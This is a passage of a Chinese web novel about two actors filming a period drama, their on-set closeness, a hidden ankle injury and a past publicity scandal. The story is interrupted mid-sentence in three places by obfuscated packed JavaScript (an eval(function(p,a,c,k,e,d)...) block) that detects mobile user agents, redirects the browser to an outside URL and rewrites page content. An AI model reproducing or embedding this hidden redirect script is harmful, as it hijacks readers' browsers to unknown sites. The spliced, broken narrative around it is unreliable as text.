十几斤的头面终于压上来,这妆便算彻底成了。 阳明姝起身,点翠打颤,明亮的化妆间里,头上每一颗珠子都闪着莹光。 “我也去补镜头了,你就在这里休息玩玩手机,充电宝拿了吗?要喝咖啡吗?我叫金豆儿去买……” 江临咽了颗草莓歪头看她,她真的生得很漂亮。 “看小孩呢?” “啊?什么?” 江临这些年戏里戏外见的人多,搭档换了一个又一个,今天和这位青梅竹马明天与那位虐恋情深,碰过不少壁也勉强登过几节阶梯,什么兄友弟恭、伉俪情深,一杀青便各奔东西、不相往来,都是混娱乐圈的,有今天没明日,走着走着就散了,时间长了江临也习惯了这种阶段性友谊了,转念一想,也挺好。 再往后江临台阶越登越远,内里吃亏吃得很习惯,当饭似的往肚里咽,咽多了再看人就好像患了高度近视,怎么看都看不真切,这便让他养成了极内敛的性子,少有热烈的时候。 今天也许是因为不在自己片场,正巧刚又在叶思南跟前讨了两句嫌,平常养得及其冷淡的性子偶然浮动了些,又或许是因为阳明姝实在漂亮动人,这让他漏出了点热乎气。 江临看着她笑,“这么操心我做什么?” 阳明姝睁大眼,正想答什么时被身后整理衣服的老师半拉半推地转了个圈,戏服上的璎珞穗子便都轮番转开了花。 江临思索了半秒,决定跟着去看看这出戏。 《萤火》是梨园戏,叶思南和阳明殊饰演一对戏班子里的姐妹,姐姐叫如梦,妹妹叫阿秀。 昨夜,阿秀递了口信给如梦,请她次日晌午回来听戏。 这场是阳明殊的杀青戏,这出唱完,阿秀就抹脖子自杀了。 “思南发髻散一点,人再懒散一些,领扣松一颗!明姝看我这里……等思南从这个拐角过来,鼓就响……走到这个位置你再唱,唱的时候眼睛看她一眼,一句唱完立马转身,走到这儿……” “OK吗?” “好!各单位各就各位!” “Action!” 鼓乐响,戏台子后有人高声唱,拉着悲鸣的长腔,再伴九捶半的锣鼓点,那扎大靠、插雉翎的巾帼英雄迈步而出,缓缓绕台一周,台前的如梦看着看着,心知糟了。 但她不知会这么糟。 最后一个下腰,台上阿秀挽剑生花,力气真大,只差把自己脖子直接抹断了,血溅了老远,鼓乐还未停,她却已经自刎在阵前。 如梦手脚并用爬过去,良久才有呜咽自台子中心漾开,黑压压、低沉沉地罩了过来。 那一刻仿佛天都暗了下去。 “Cut!” 这场次来回调整拍了四版,每拍一回就精进一点,到最后已经到了每一个镜再挑不出毛病。 陈导朗声大笑,“我算着只需要你们俩腾一下午的时间,到现在一看果然,思南太棒了!这几镜非常非常完美!” 众人纷纷附和,叶思南站在人群中央又哭又笑地颔首,阳明殊个子高,站在其中略扎了一眼,陈导瞧她,笑得更加敞亮了,“明姝也厉害!你这个新人了不得,和思南配合得天衣无缝!” 江临一直站在导演身后看着监视器,工作人员正调配镜头,里头阿秀最后一个下腰喷着鲜血倒下时调至一个从上往下的正面镜头,倒下去的瞬间是慢放,一帧一帧,风起璎珞,头上珠翠还有余响,戏台子上血染红了半张脸,那双没阖上的瞳孔极亮,映照着澄澈的天。 这个镜头太完美,江临看着莫名心悸,随即抬头去找那个死在摄像机里的人。 阳明姝正和叶思南一起朝这边走来,叶思南问导演,“陈导,这回4号机能行吗?我刚刚没站太稳,可能踩歪了点位……” “没关系,这个很好,很自然……” 阳明姝站在叶思南身后稍微擦了擦脸上的假血,一抬眼跟江临撞了个正着。 “痛不痛啊?” “嗯?什么?” 江临走近了,问得小声,抬手想摸摸她后脑,实则摸了一手硬邦邦发卡子。 “刚刚那样笔直摔下去脑袋痛不痛啊?” 阳明姝站在那里,一身戏服一脖子血,六月的天气极热,她汗得浑身粘腻,整个人看着十分迟钝,半天才挤出两个字,“有点。” 江临又摸了她一下,“那等下请你吃好吃的吧。” 4. 第 4 章 阿木载着满车冰饮料赶到片场时,看到的就是他哥正摸着一个戏服女演员的后脑勺,这其中说不出是江临的手僵硬还是阳明姝的脖子梗得太直,总之显得挺怪的…… 阿木愣了一瞬,尔后又耸肩摇了摇头,自顾卖力地分饮料。 晚餐也是江临让阿木先一步去安排的,地点在一家料理店,那家叶思南这些年吃得多,店里的板长也相处得很熟了,江临邀请阳明姝是计划之外,便谨慎问了问能不能吃有什么忌口没,阳明姝点头摇头,到末尾还谨慎问了句,“你和思南姐难得聚一聚,我跟着去会不会不合适啊?” “不会。” 江临坐在来时的小沙发上等她卸妆,坐姿大开大合,肩宽腿长,整个人都是极放松的模样,“除非你自己不想去。” 阳明姝转过头,先前油彩上得难卸,她整张脸都留着擦洗的红,她看着有些扭捏,但也坦诚:“可是我分不清你是真想我去,还是客气到这份儿上了……” “说了请你吃好吃的,怎么可能不想你去?” 江临骨子里其实是个很温柔的人,且极擅长将这份温柔默不作声传递给旁人,所以无论外界怎么传怎样说他孤傲,不爱说话不好相处,身边真相处过的人都很难说他不好。 他笑着补充:“只要你不觉得累就好。” 阳明姝摇头又点头,扭捏过后又有了些细小羞赧,“怎么会……” 叶思南收拾好过来,屋内静谧,一个卸妆,一个玩手机,她打着哈欠闲聊。 “你们一起拍戏了有三个月?” “没呢吧……” 江临记不清楚,朝镜子里的阳明姝望了一眼,后者自然而然接话,“两个半,快三个月了。” “噢。” 叶思南找了江临另一侧的沙发坐下,“挺好,看着你们相处得很融洽,这行能遇得到真合得来的其实挺不容易的。” 江临能邀了私底下一起吃饭的没几个人她是知道的。 这话一出,两人就都不开口了,一个不善于接,一个不敢随便接。 阳明姝妆卸干净了头发里却还全是胶,要换到隔壁去洗掉再吹干,等她出去,化妆间里有一搭没一搭的闲聊就挟带了些私底下的关怀,虽然仍旧松散,但好歹说了几句正经话。 “确实相处得还行吧?” “嗯。” “戏辛苦吗?” “还好,不算辛苦。” “拍下来感觉怎么样?” “本子还行,制作算精良,投入也挺大的,感觉应该差不了。” “那就好,”叶思南点头,“之前她缠着我想去试镜,我还拦了拦,后来想着张导和身边的编剧也算是掐尖儿了,正巧你又在组里……” “她自己要去的?” “是啊。” 江临抬眸,“我一直以为是你关爱后辈给她推荐过去的。” 刚刚的补拍让叶思南有些累,她眉眼半阖着,没什么精神。 “就是因为关爱,我才拦过她,她底子好出道又风光,犯不着这样着急去钻你们剧组。” “思南姐攻击我的意思我收到了,也不敢说什么,”江临半笑不笑的,“就是有点好奇她为什么?你问过吗?” “不知道啊,你自己问她呗。” 叶思南刚还没精神的脸突然起了些揶揄味道,“反正你们关系挺好是吧?” “那还是算了。” “为什么?” 江临耸了耸肩又拿出手机出来玩,“好不容易有个关系还行的。” 这话说得有歧义,但叶思南不是个无聊爱打听的人,旁人事三两句玩笑就过去了。 阳明姝花了点时间,一边吹头发还一边央求化妆老师见缝插针地给她上了个日常妆,收拾完出来时,已经站在了朦胧夜色里。 “抱歉啊。” 叶思南已经先一步钻进车里等,只有江临站在车旁冲她招手,“快,去吃饭,我饿疯了。” 那三个人的饭局要说多有意义有趣实在谈不上,没聊什么好玩的也未曾精进什么关系,但要说无聊应付,又多出许多自在舒坦来,总之,不上不下的一顿饭。 没两天,就有人放了照片在网上,但确实没什么深究的地方,叶思南和江临表面地位悬殊但是私底下已经多年朋友,是早就传开了的事儿,再加上阳明姝一电影新秀,那张脸在大众眼里虽然露得不多,但一看就知道肯定是和叶思南合作过的后辈,于是那张照片挂了几个钟头不到就没人再在意了。 尔后,这突如其来的一天半假期眨眼就没了,两人再回到剧组还跟以前一个样儿,除了对戏相互之间一直话不多,但瞧得仔细的人还是能看出来两人关系已经很默契自如了。 时常是江临早上蹭了阳明姝一杯冰咖啡,下午又还回去,阳明姝今天吃了江临的零食茶点明早便又照例给他买杯咖啡,对起戏双方都十分认真,也就因为认真,戏外两人的相处总带了丝丝缕缕梁秋序与叶莺的感觉,面冷心热,隐秘而伟大。 这便有闲着没事儿的人私下里期待故事里感情成熟的那天,好看看热闹。 江临虽然是男主演,但剧里阳明姝的每一支舞都是跟苏晔跳的。 阳明姝是舞蹈专业出来的人,那几支舞几乎是看一遍就会了,苏晔比不过,老师教完几轮还左脚踩右脚,转脸又过来央求阳明姝教他,老师乐得偷闲上一边儿纳凉去了,阳明姝和苏晔便在要拍的舞池里一遍一遍地跳。 那天江临有带动作戏的外场,拍完回来已临近收工,他热得头晕眼花,远远就看见那边舞池中央有一朵火烧似的颜色,回旋时刚劲有力,飘摇时柔若无骨,他举着小风扇吹了好几分钟又喝了大半杯子冰水才好不容易看清楚,啊,原来是阳明姝在跳舞。 后来苏晔夸她“舞低杨柳楼心月”,江临跟着在一旁点头,深以为然。 苏晔又说“怪我拉胯,拉低了你不少水平”,江临仍旧点头,更加认同,“确实。” 苏晔:“江临你过分了啊!” 江临端着杯子抬脚走开,边走边摆手,“你们继续。” 等这边继续上了,江临没走多远的步子又踱了回来,苏晔咬牙切齿偷偷骂他烦人,他说话风趣,张口全是梗,阳明姝似是被他逗乐,笑得直不起腰,舞也不教了,提着裙摆就跑下去找江临讨冰水喝。 大热的天,苏晔站在原地,舞没学会,也没搞懂老师为什么突然就跑了,有点烦,烦着烦着也干脆跑下去讨水喝,结果江临把剩下的冰块全夹给阳明姝了,水也喝不痛快,感觉更烦了。 日子不急不缓过,工作一层层推进,过啊过,推啊推,等到六月底,盼着看热闹的观众们终于等来了期待已久的这一天。 自时节迈进盛夏,阳明姝那把白团扇就没离过身,今天更是扇得眼都睁不开,且有越扇越冒汗的趋势。 江临到片场后习惯性去寻阳明姝,照以往只要有对手戏的情况他们都会趁着开机前的准备工作先对会儿词,而自合作以来一直专业自持的阳明姝却在今天破天荒出了不少状况,江临合上本子问她,“怎么了?你今天看着不太对,不舒服?中暑?” 阳明姝摇头,“没,就是一会儿的戏让我……挺紧张的。” “为什么会紧张?” 阳明姝抬头,带了零星一点儿的责备,看他一眼又转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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相比两位主演藏于表皮底下你来我去的焦灼,导演组倒是十分兴奋,毕竟这出戏昭告着全剧已经过了一大半,才三个月的时间,拍摄进程走到今天,不可谓不顺利。 “好!各单位各就各位!” 该怎么形容那个黑暗中的吻呢? 那是一个叶莺等候了许久的吻,有烟草辛辣有浅淡茶香,外边脚步纷杂,一门之隔她被两根冰凉的手指钳住了下巴,她被迫仰头去看他。 那样惊惧慌乱的情境,只差一步之遥就要被发现。 门外灯火辉煌、乐舞不断,门内光触及不到的暗处,梁秋序恍惚听见叶莺那一声极轻的喃喃,似乎是在叫他的名字。 好像不是梁秋序,是江临,声音太轻,细微,如烟般转瞬隐入尘埃。 她一身金红相接的舞裙,宛若一朵烈火中盛放的玫瑰,灵动轻快,炽烈明艳。 然后脖颈被环住,牙关被撬开,渴望如汹涌猛兽带着一簇如火的热度,从头顶啃噬到脚尖。 …… 后来过了许久,江临都会时不时想起阳明姝那个荧幕初吻,她确实很紧张,环住江临的手都在抖,贴着脖颈脉搏随着血液,一下一下仿佛颤到了心尖上。 方寸大的掩门后,三台摄影机位,呼吸灼热,空气稀薄。 原本该是江临先低头拉近距离,却被她踮脚率先开了局。黑暗混沌中,她如一只胆大包天的妖孽,主宰着这方寸之间。 江临总思索,她明明那么紧张,又怎么会敢那样胆大? …… 这第一场吻戏出乎意料的顺利,一次过,全场雀跃。开拍前的那两句你别怪我我不怪你,就跟随手乱扔的烟雾弹似的。 脚刚迈过电缆线,江临就被化妆老师拉着去换下一场的衣服,再过来时,阳明姝还没补妆,她坐在遮阳伞下缓慢地喝水,唇边口红已晕染开,带出一种颓靡凄清的风情,与刚才戏里的妩媚妖娆截然相反。 江临心里有些异样,像是没防备时被什么小虫子偷偷咬了一口。 5. 第 5 章 有了前一天晚上舞会暗处的偷吻,第二日再见时便带了些昨晚余留的灼热气息。 镜头里是一栋十分精巧的老房子,含隐蓄秀,奥僻典雅。 白色灰泥墙结合绛红屋瓦,穿过藤蔓垂落的回廊,走进挑高的门厅,绕过转角的石砌再踩着镜子般的大理石地面多行几步,突现一面六角形光景凸窗,窗外又是一片根深叶茂、花团锦簇。 脚步不停,再往深里的书房走去,亭台流水渐远,鸟语虫鸣也再听不见声,脚步愈行愈显得幽深僻静,推开门,室内又是与方才窗外明媚全然不同的风光。 木质长桌,精致的杯碟被带翻,咖啡染上一旁散落的纸张,转瞬晕开一片香气氤氲的污渍。 叶莺后仰着头坐在桌沿,盘扣解了两粒,露出大片白玉一样的皮肤,面前梁秋序取下她脑后发卡,头发黑雾一样泼洒开,侧影交叠,光线暧昧,旗袍高衩随风摆,只瞧见修长手指奏乐般游走在白玉琴键上,一副旧画不堪缠绵,借着喘气声儿逃走,留了短暂的一晃眼。 女人的红唇自男人的眉峰一路往下,在眼周研磨两秒又追了他的唇而去。 “入夜送你走,有两句话,我说,你听着。”他掌住她的脸低声说话。 门外时有人影穿梭,零星脚步带着窥探意图,叶莺仰头望着他,不敢掉泪,“你说。” “时局一日一变,我还有很多事情要做,不敢留着你在旁边,你不要怪我。” 他声音愈压低,她愈觉得有什么东西在心口撕扯,那样疼痛难忍仍要笑着点头。 “外边想要我命的人很多,出去以后别跟任何人提起我,我要你好好活着。” 叶莺咬牙“唔”了一声,等了会儿见他不说话了,她有些着急,抬脸去寻他唇角,乞求他多说两句。 女人坐着仰头,光脚涂着血红的丹蔻,男人站着俯身,手指间半截未燃尽的香烟烧着猩红的一点光。 他回应她,在唇齿间递气,“至多一年,我会去接你。” 呼吸流窜间,空气旖旎里,梁秋序伸手抬起她的下巴,拇指一点点抹净她唇角出界的胭脂,和那颗不小心跌落的滚烫眼泪。 这个动作缓慢而细长,一帧一画,细细地刻。 “如果我死了,会有人告诉你。” 生得极好的一对男女,在这光影昏暗处透出层层叠叠的荼蘼感。 …… 这场戏极难,拍得是旁观者视角,正窥探梁家二少爷与‘东方名伶’的风流韵事,实际镜头要着重表现藏在底下那层即将生离死别的复杂情绪。 自开机,涵括补妆、调配、换位……这是已经磨到了第七遍,眼见天光要没,终于出了感人效果。 “Cut!” 导演大声喊道:“大家辛苦!演员先休息,导演组过来看看片子!” 场务拉开身后那扇厚重的窗帘,日光铺满屋子,江临将手里的香烟捻灭扔进烟灰缸后又小声拒绝了化妆师上前补妆的动作,“我先去个洗手间。” 阳明姝正想趁着空档去场外透口气,谁知跳下长桌的时候腿脚还虚浮,一个没使上力便整个人摔了下去。 万幸长桌不高,为还原剧情屋子里也铺了很厚一层地毯。 等金豆儿那声尖叫出来时,阳明姝已经摆了摆手自己站起来了,“没事没事,没崴没伤,就是腿软了一下。” 洗手间,江临十分认真地漱口洗脸,盛夏的天,明明放的凉水却还是被烈日晒出层热。 刚刚那场亲密戏拉得太长,因为角色需要阳明殊的口红涂得厚,加上期间补妆,江临觉得自己可能吃了大半斤口红,手掌腰际磨挲过的触感也还记忆犹新,这让他十分不自在。 再走出来时,大半个剧组都聚集在长桌旁,中间坐着的是他的搭档阳明姝,她的脸还是戏里那样炽烈明艳,唇启唇合间能让隔着老远的江临清晰想起她口红的味道。 先前那丝如蚊虫叮咬的异样又重回了心间,他刚决定暂时不靠近的好,就被身边阿木告知阳明姝刚从桌子上摔了下来。 等他大步迈过去,一堆人正叽叽喳喳地问她痛不痛,要不要擦点药。 “怎么摔了?” 江临很愧疚,眉头都蹙了两个褶,“对不住,我刚应该先扶你下来的。” 阳明姝头都快摇晕了,“真没事,不痛的。” 她仰头看江临,视线刚触及又躲闪开,转移注意力般伸手将旗袍下摆拉到了膝盖处,“你看,红都没红,再说我从小练舞,伤没伤着心里有数的,这真是,一点事都没有……” 这回又换江临躲闪了。 他朝阳明姝旗袍开衩的地方靠了靠,挡了挡别处的视线。 “没事就好,裙子放下去。” 片场内人数过半百还有十好几个摄像机位,阳明姝后知后觉会意,双颊眼见又飞红,说着要去洗手间就匆忙走开了,她步履如常,像是确实没伤着,整个组都松了口气,只有江临可能是真愧疚,多看了几眼,便瞧见她在拐角处又踉跄了一下。 很快没了天光,今天也没排夜场戏,是个早收工的日子。 “我看你后面又崴了一下,”各自收拾东西准备撤时,江临左思右想还是问出了口,“伤那儿了?” 阳明姝愣怔了两秒,随即还是笑,“小时候练舞留下的小毛病,没别的,就一个动作久了容易发麻。” “哦。” 江临总算释然,“那要好好保养,以后拍戏有不舒服也一定要说出来,好吗?” 他真的很温柔,像江畔,像溪流,像月亮。阳明姝看着他绵软地笑,“好。” 回程车上,阳明姝因脚踝上巨大的痛楚,逼出一脑门大汗,金豆儿替她扶着冰袋着急上火,“姐……真不去医院吗?” “不去,影响拍戏。” 阳明姝十五岁时一场演出事故,将她的职业舞蹈生涯彻底划上了句号。一次高难度空中翻腾落地失误,身体重重摔落时,伴随一声巨大的、只有自己能清晰听见的颅内“锐响”。 术后仍反复发作剧烈疼痛,医生诊断为脚踝不可逆损伤。 她自幼年起一直在极其高压的舞蹈预科班接受专业化训练,长期承受高强度、长时间的脚部负重和摩擦,这伤病就是那年在一次关键的独舞选拔中,意外滑倒诱发的,并非单纯的骨折和韧带撕裂,而是在经历了连续数小时的极限练习以及闷热环境久置后,她的左脚脚踝会产生一种极其特殊、难以形容的痛苦,剧烈灼烧感如同赤脚踏在烧红的碳火上。 这顽疾找不到明确的物理损伤,疼痛爆发时会发红并摸起来滚烫,穿上鞋袜后倒也看不出什么异常,父母带着她跑遍了医院,医生诊断也多为“神经痛”、“过度劳损”,治疗乏术,是一种找不到具体根源、无法治愈、无法示人的痛苦。 阳明姝与这陈年伤病相处久了,反倒找到了与它荣辱与共的最好模式,在练习或演出过程中,因高度兴奋和注意力集中,肾上腺素能有效压制疼痛感,最剧烈的疼痛往往在事后才猛烈袭来,这样能保证她可以完美呈现舞台上的每一个动作,到如今转行拍戏,阳明姝仍旧可以正常呈现每一个她想要呈现的表演。 多年来阳明姝靠着意志力强行克服,从未在观众以及镜头前有过跛行。 车厢里开着很足的冷气,冰袋隔着一层薄毛巾贴在脚踝上,冷意一寸寸渗进去,反倒把那股迟钝的痛慢慢逼得更清楚了些。阳明姝靠在椅背上,额角还带着汗,脸色却已经比先前好了许多,只是唇色淡,指尖也微微发凉。 “用得着这么拼吗姐!” 金豆儿不解,声音都尖了,阳明姝回望她,似是十分疑惑她怎么会这么问,“这还不值得吗?” 当晚江临做了个梦。 惊醒时已经是后半夜,整个屋子深陷在一片沉寂中,他猛然坐起,浑身是汗。 江临记得很清楚,梦里是那株火红玫瑰。 炎热夏夜烧到了心头上。 另一边阳明姝情况好很多,因为她根本没睡。 捱过伤痛,思绪又如蛛网般将她挟制。 沉沉夜色中,一双眼一时如水光潋滟,一时又如山色空蒙,睁眼到天明。 这是无人知晓的秘密,盖着层层叠叠的保护罩。 日子一天天过,几出亲密吻戏都排在这两天整合拍,两位主演十分敬业,拍摄过程更是顺利,比原计划快了很多,导演和制片都神清气爽,走路带风,连着整个剧组的伙食都上了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492548|202303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台阶,全组一天能吃掉二十几个大冰西瓜,饮料罐子、冰棍儿袋子隔一天就得叫小皮卡来拖。 而江临和阳明姝度过最开始短暂的扭捏不自在后,又很快重回了紧密搭档之间的默契,这样的两个人充分地具备了极快入戏又迅速出戏的专业能力,让起初等着瞧热闹的观众看似是瞧了个寂寞。 大暑来临前。 苏晔挨着江临站着,“诶,我这两天拍完就不来了。” 是了,过不了几天宅子里就将迎来二少爷枪杀大少爷了,大少爷一死,全篇开始收尾。 二少爷江临点头,“我听方汀说你要录的那个综艺台本很不错。” 大少爷苏晔还望着远处,喉咙里“唔”一声算是应了,半晌又感慨,“这就快拍完了,可真舍不得我们家明姝啊。” “……” 江临侧目,“什么时候成你们家的了?” 苏晔摸了摸鼻子,笑道:“你去问问整个组里谁舍得她?多好玩一人儿啊,别说我,等全剧杀青,你指不定也跟我一样舍不得了……” 江临想说“我明明问的是阳明姝什么时候成你们家的了?你做什么跟我谈舍不舍得这个问题?” 可话一出口又成了不咸不淡的另一句。 “还好吧,以后有机会还能合作最好,不能也没办法了。” “是啊……” 苏晔沉吟,深有同感,“还是得看缘分,咱们这行就是见人多,告别也多……” 苏晔看上去好像很闲,江临莫名其妙觉得烦躁。 “你还不去准备吗?等下就到你的戏了。” “哦,是哦。” 很闲的人踢踢踏踏走开了,留下他一个人站在原地烦躁。 正巧远处片场外阳明姝朝这边过来,日头毒辣,金豆儿跟在她身后撑阳伞,阳明姝个子高不少,步伐又快,金豆儿就一双小短腿倒腾不来,遮阳伞撑得东倒西歪,阳明姝不耐烦等她,将那把白团扇在头上一挡就跑了起来。 江临看着看着走了会儿神。 阳明姝长了张有些清冷的脸,不说不笑时眼尾总带着一撇清冷色,让人有种远观烟雨的涳濛感。 偏偏她又那么爱笑,好像在组里拍戏是见多么开心的事情,与谁都眉开眼笑,那冷淡颜色被笑意冲开,烟雨消停,拨云见日,便成了个谁都爱跟她玩笑两句的妙人。 江临便时常看着阳明姝在片场闹,刚偷拿了导演的茶叶,转背在抢化妆老师的小饼干,心血来潮给剧组每个人送个保温杯,这个猪那个牛,鸡鸭鹅蛋全都有,凑齐了一整个饭桌。 江临收到那个大白鹅保温杯时,还问过她,“为什么我是鹅?” 阳明姝自己捧着个小毛驴杯子,正往里夹冰块,“那你要跟我换吗?” “不用。” 江临讪讪:“多谢了,我还是鹅吧。” 她就像个电量无尽的超级大电池,别人都累得张不开嘴了,她却自得其乐,背着背着词也能笑起来。 有人说因为她年轻,人年轻心年轻干什么都攒着十足的冲劲,也有人说因为她敬业,热爱拍戏这份事业于是再苦也都不觉着累,江临却以为阳明姝一定是在哪儿藏了个插座偷偷充电,不然他实在无法理解,怎样的热爱能将一个人激励成这样,一天都不带歇的? 江临挨她近,总被她打搅,“你又乐什么呢?” 阳明姝便笑得狐狸似的,“高兴啊。” “高兴什么?”江临问,“说出来,让我也乐一乐。” “我觉得自己好幸运。” “嗯?怎么说?” 他不信邪,追根究底。 “这个啊……” 阳明姝构思时笑意未褪,浅浅覆在面颊上,有种甜而不腻的漂亮,“对了,你和孟滢那个游戏广告什么时候拍啊?” “……” 看,问了她又不答,回回这样,好像生怕别人知道她将插座藏在了哪里。 江临觉得无趣,视线重新回到本子上,“下周。” “下周……” 阳明姝又问,“我可以去看吗?我没有拍过广告,想观摩观摩。” 江临神色淡淡的。 “随你。” 6. 第 6 章 江临和孟滢合拍过一部仙侠剧,于前年夏季上线,反响极好,这便有游戏开发商递橄榄枝,希望两位主演再合作拍个游戏宣传广告。 他其实不太想跟孟滢再碰面。 倒也谈不上多不喜欢这个人,毕竟当年的事,她和他都算是被裹挟进去的,真要细算,在规则里其实谁都无辜。只是那场风波拖得太久,发酵得太猛,像一团被风吹得四处乱窜的火星,窜得人心烦。 孟滢自出道起就是业内最标准的“大女主”路线,长相、气质、运气都占了,签进公司后更是被一路往头部资源里推。她不是那种靠短期热度起势的演员,反而是越往后越稳,戏约、代言、国民度都在涨,公司自然舍得往她身上砸。 前阵子江临还听公司里人提过,某家省级卫视年底的一部重点项目已经在接触孟滢,题材正、班底强,显然是冲着奖项和口碑去的。那种项目最爱用成熟稳妥的女主,既能压住场面,也方便后续宣传时往“突破”上做文章。孟滢如果接了,确实很像是要借一部剧把“花瓶”那类旧标签彻底撕掉。 至于江临和她的交集,最早其实还要往前追一部戏。 那时他刚出道不久,资源没打开,接到的是一部偏古偶的项目。剧本本身不算多好,台词也带着那个时期常见的“浮夸中二”味儿,但也是他难得的上桌机会,他认真学习,青涩表达,模仿着主角们身上那股稳定、专业的力气。 后来,仗着“脸蛋天才”的称号,江临熬出头算快的,真正当上男一号也就过了两年而已,接的偏偏又是个大制作仙侠剧,项目层层都有人盯着——出品方要热度,平台要播放量,电视台要排面,宣传方更想把一切能炒的点都炒到位。最开始定组的时候,江临还没太在意,直到发现女主是孟滢,他心里其实是兴奋的。 还是孟滢,但自己已经从男配走到男一,不可谓没有攀登之愉悦。 那场事出在动作戏里。 戏里有个高位下落、借位飞身接人的镜头,原本设计得很漂亮,机位、走位、威亚角度都提前反复对过,按理说不该出差错,可实拍那天,威亚和落点衔接出了点问题,江临那边没接稳,身体失了重心,连带着把孟滢一起带偏了。两个人从临时搭出来的矮坡上滚了下去,电光火石间,他几乎是本能地把人往怀里一带,手紧紧扣住她的腰,另一只手护着她的头和脸,尽可能把冲撞都压在自己这边。 那场戏原本是个带威亚的动作镜头,孟滢吊着钢丝从坡上掠过去,他负责接住人,再顺势完成一个落地转身的动作。可偏偏就在正式拍的时候,负责衔接的那一下出了问题——他手下没完全接稳,孟滢在惯性里偏了半寸,威亚又没及时把人带回正确受力点,最后两个人一起从片场边上的矮坡滚了下去。 坡不高,但地面不平,底下还横着些碎枝和石块。 电光火石间,江临几乎是本能地把人往怀里一扣,手臂死死护住她的后脑和脸,自己则硬生生用背和肩去挡一路滚下去的冲撞。 等滚势停下来时,孟滢除了头发被枝杈勾乱,几乎没受伤。 江临比她狼狈得多,手肘、肩背和膝盖全都蹭伤了,站起来时连呼吸都不太稳,却仍第一时间检查孟滢有没有事,确认她没伤到骨头,也没碰到头脸,才终于松了口气,撑着膝盖在地上停了两秒,朝她笑着说了句:“幸好。” 这对他来说,其实只是很正常的一句话。 当时导演也在旁边,见人都没什么事,先停机、后补拍,流程都按部就班地走了下去。按理说,这事到这里也就完了,顶多算一次意外事故,谁也不会真拿出来当回事。 坏就坏在那天拍摄全程有花絮机位,后期宣发又正好赶上要为剧集造势。 一段原本只是事故后的现场反应,被剪进了物料里;一段原本再普通不过的确认安全,被挑出几个角度不同的镜头反复拼接;再加上江临抱人的动作、孟滢当时没来得及整理好的头发、以及他那句被放大的“幸好”,在粉黑大战和CP文化都已经成熟的语境里,足够被演绎出无数种暧昧意味。 那边宣传方尝到了甜头,等片子在前年夏天正式播出时,索性顺势把那批花絮一条条放出来,今天切一段,明天截一帧,后天再拿访谈里的只言片语做文章,硬是把一场工作事故,炒成了观众眼里的“暧昧营业”。 那时候谁都没有出来说话。 一来,剧正在热播,女主演团队不可能在这个节点主动拆自己的宣传热度;二来,江临那边也同样不能出声,戏刚火,平台、资方、片方都在趁势往上推,他不能给脸不要。 一开始还只是戏粉和路人嗑得起劲,后来孟滢本身粉丝盘很大,受众覆盖面又广,什么年龄层都有,舆论就开始变形。那么多的人,千人千面千种想法,有的人则干脆借着这点事攻击江临,说他借女方抬咖、蹭热度、占便宜,话说得越来越难听。再加上孟滢上一个爆剧的男主演那边还有很大一批没散干净的CP粉,几拨人搅在一起,一时间乱象丛生。 娱乐圈是个复杂又奇怪的地方,像是用干草堆出来的楼宇,一丁点火星子就能燃起大片,这便又衍生了许多热衷玩火的人,但凡哪里出现乱象,便浑水摸鱼进来,甚至装作各方粉丝疯狂加剧乱象以求搓出那颗火星子。 更别说那时候江临还没真正站稳位置,粉丝数量虽然涨得极快,底盘却还不够稳。热度最高、花絮放得最猛的那段时间,他几乎成了被盯着打的对象——机场、酒店、通告现场……最严重的时候,他连续一周被堵在酒店,工作全停,团队连夜开公关会,品牌方和剧组也都被牵得一团乱。 所有人都说,这事闹成这样,孟滢那边多少也算帮了他一把。 剧火了,片约和片酬确实都上去了,之后资源也比从前好看得多。理智上说,他确实该谢谢这部戏,也该谢谢孟滢,因为没有那次合作,他未必能这么快往上走。 可情绪上,他就是不舒服。 那不是针对孟滢本人,更像是对那段时间被迫裹进去的狼狈和憋屈一直没能彻底翻篇。 不是不讲理,也不是记仇。 只是那根藤蔓缠得太久,哪怕早就没知觉了,摸上去也还是会让人本能地皱一下眉。 如今这剧都播完快两年了,孟滢下一部新戏也马上要上,本以为两人之后大概不会再有什么碰面的机会,谁知竟真有人把那部仙侠剧改成了游戏。制作方和投资方开了几轮会,最后一致认定:既然要做联动宣传,原剧男女主再次合体拍广告,才是最能把热度和话题度一起拉满的方案。 于是这件事,绕了一圈,还是落回到了他们头上。 江临就很烦。 方汀在旁边坐了半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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另一边,回公司的车上,孟滢闭着眼,经纪人捧着小本儿侧着身子细细碎碎地跟她说明天要拍的那个游戏广告。 孟滢:“明天吗?这么着急?场地搭得出来么?” 经纪人:“昨晚就已经在搭了,不会有问题……其实片商那边倒是不怎么急,主要是江临的时间卡得紧,也就抽得出这两天的空能过来。” “哦,对,他那儿正拍着呢。” 孟滢沉吟了一会儿,又说,“江临这两年真是忙得只能在电视上看到他了。” “你也一样啊,你这回可没几天休息了,公司谈那个片子最近就会定下来,时间一确定你就又得进组……” “是啊,得忙,不忙就凉了。” 经纪人觉得这话晦气,不轻不重“呸”了她一声。 孟滢闭着眼笑,她还记得第一次见江临的时候,彼时他刚入行不久,极年轻,青涩笨拙地表现爱,这让她新奇,于是总爱同他说话,见他惊惶、讶异,时常摇着头无奈冲她笑…… 她喜欢他那张脸,那是一张天生该在荧幕的脸,优越到只需要静待时机就好。 可是曾经那样温柔的一个人,后来也穿上了生人勿近的盔甲。 7. 第 7 章 第二天,酷暑的天。 江临到的时候,棚里已经搭得差不多了。 